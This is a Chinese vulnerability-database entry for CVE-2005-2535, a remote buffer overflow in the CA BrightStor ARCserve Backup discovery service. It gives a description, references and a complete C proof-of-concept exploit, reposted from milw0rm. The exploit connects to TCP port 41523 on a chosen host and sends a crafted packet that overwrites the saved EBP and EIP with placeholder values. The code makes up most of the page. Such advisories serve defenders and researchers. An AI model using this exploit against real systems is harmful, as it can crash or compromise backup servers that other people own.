CA BrightStor ARCserve/Enterprise 缓冲区溢出漏洞

CA BrightStor ARCserve/Enterprise 缓冲区溢出漏洞

漏洞ID 1108452 漏洞类型 缓冲区溢出
发布时间 2005-02-12 更新时间 2005-10-25
图片[1]-CA BrightStor ARCserve/Enterprise 缓冲区溢出漏洞-安全小百科CVE编号 CVE-2005-2535
图片[2]-CA BrightStor ARCserve/Enterprise 缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200508-098
漏洞平台 Linux CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/815
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200508-098
|漏洞详情
ComputerAssociatesBrightStorARCserve/Enterprise是多平台下的备份和恢复保护系统。ComputerAssociatesBrightStorARCserveBackup发现服务存在一个缓冲区溢出,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以进程权限在系统上执行任意指令。ARCserveBackup软件在处理请求时盲目地拷贝来自网络上的数据,远程攻击者可以通过发送超长的数据导致缓冲区溢出。
|漏洞EXP
/*
* BrightStor ARCserve Backup buffer overflow PoC
* [email protected]
*
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

#define RED "E[31mE[1m"
#define GREEN "E[32mE[1m"
#define YELLOW "E[33mE[1m"
#define BLUE "E[34mE[1m"
#define NORMAL "E[m"

#define PORT 41523

void
start ( int s )
{
        char buffer[4096];

        bzero ( &buffer, 4096 );
        memset ( buffer, 0x41, 50 );
        buffer[0] = 0x9b;
        buffer[1] = 0x53; //S
        buffer[2] = 0x45; //E
        buffer[3] = 0x52; //R
        buffer[4] = 0x56; //V
        buffer[5] = 0x49; //I
        buffer[6] = 0x43; //C
        buffer[7] = 0x45; //E
        buffer[8] = 0x50; //P
        buffer[9] = 0x43; //C
        buffer[17] = 0x18;
        buffer[21] = 0xc0;
        buffer[22] = 0xa8;
        buffer[23] = 0x02;
        buffer[24] = 0x67;
        buffer[25] = 0x53; //S
        buffer[26] = 0x45; //E
        buffer[27] = 0x52; //R
        buffer[28] = 0x56; //V
        buffer[29] = 0x49; //I
        buffer[30] = 0x43; //C
        buffer[31] = 0x45; //E
        buffer[32] = 0x50; //P
        buffer[33] = 0x43; //C
        buffer[41] = 0x01;
        buffer[43] = 0x0c;
        buffer[44] = 0x6c;
        buffer[45] = 0x93;
        buffer[46] = 0xce;
        buffer[47] = 0x18;
        buffer[48] = 0x18;
        //ebp
        buffer[49] = 0xbe;
        buffer[50] = 0xba;
        buffer[51] = 0xad;
        buffer[52] = 0xde;
        //eip
        buffer[53] = 0xde;
        buffer[54] = 0xc0;
        buffer[55] = 0xad;
        buffer[56] = 0xde;

        printf ( "[*] Sending buffer [ %d bytes ]...", strlen ( buffer ) );
        if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
        {
                printf ( RED "Send failed!n" NORMAL );
                exit ( 1 );
        }
        printf ( GREEN "OK!n" NORMAL );
        sleep ( 1 );
}

int
main ( int argc, char *argv[] )
{

        int s;
        struct hostent *he;
        struct sockaddr_in addr;

        if ( argc != 2 )
        {
                fprintf ( stderr,"Usage: %s hostnamen", argv[0] );
                exit ( 1 );
        }

        printf ( "Resolving hostname..." );
        if ( ( he = gethostbyname ( argv[1] ) ) == NULL )
        {
                printf ( RED "FAILED!n" NORMAL );
                exit ( 1 );
        }
        printf ( "OK!n" );

        if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
        {
                exit ( 1 );
        }

        addr.sin_family = AF_INET;
        addr.sin_port = htons ( PORT );
        addr.sin_addr = *( ( struct in_addr * ) he->h_addr );

        printf ( "Connecting to %s...", argv[1] );
        if ( connect ( s, ( struct sockaddr * ) &addr, sizeof ( struct sockaddr ) ) == -1 )
        {
                printf ( RED "FAILED!n" NORMAL );
                exit ( 1 );
        }
        printf ( "OK!n" );
        start ( s );
        close ( s );
        return ( 0 );
} 

// milw0rm.com [2005-02-12]
|参考资料

来源:US-CERT
名称:VU#966880
链接:http://www.kb.cert.org/vuls/id/966880
来源:XF
名称:brightstor-discovery-servicepc-bo(19320)
链接:http://xforce.iss.net/xforce/xfdb/19320
来源:www3.ca.com
链接:http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?ID=32478
来源:BID
名称:12536
链接:http://www.securityfocus.com/bid/12536
来源:SECUNIA
名称:14293
链接:http://secunia.com/advisories/14293
来源:OSVDB
名称:13814
链接:http://www.osvdb.org/13814
来源:BUGTRAQ
名称:20050215Re:BrightStorARCserveBackupbufferoverflowPoC
链接:http://archives.neohapsis.com/archives/bugtraq/2005-02/0201.html
来源:BUGTRAQ
名称:20050211Re:BrightStorARCserveBackupbufferoverflowPoC
链接:http://archives.neohapsis.com/archives/bugtraq/2005-02/0141.html
来源:BUGTRAQ
名称:20050211BrightStorARCserveBackupbufferoverflowPoC
链接:http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html

相关推荐: 远程访问服务(RAS)客户端执行命令或者导致拒绝服务漏洞

远程访问服务(RAS)客户端执行命令或者导致拒绝服务漏洞 漏洞ID 1105455 漏洞类型 缓冲区溢出 发布时间 1999-05-20 更新时间 2005-05-02 CVE编号 CVE-1999-0715 CNNVD-ID CNNVD-199905-040…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享